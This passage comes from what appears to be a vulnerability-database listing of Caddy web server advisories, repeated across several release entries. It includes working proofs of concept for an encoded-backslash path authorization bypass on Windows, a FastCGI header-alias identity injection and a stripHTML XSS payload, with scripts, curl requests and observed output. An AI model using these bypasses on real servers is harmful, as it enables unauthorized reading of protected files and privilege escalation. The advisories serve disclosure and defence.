file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

May 02, 2017

v0.10.0 minor

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Apr 20, 2017

v0.9.5 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jan 24, 2017

v0.9.4 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
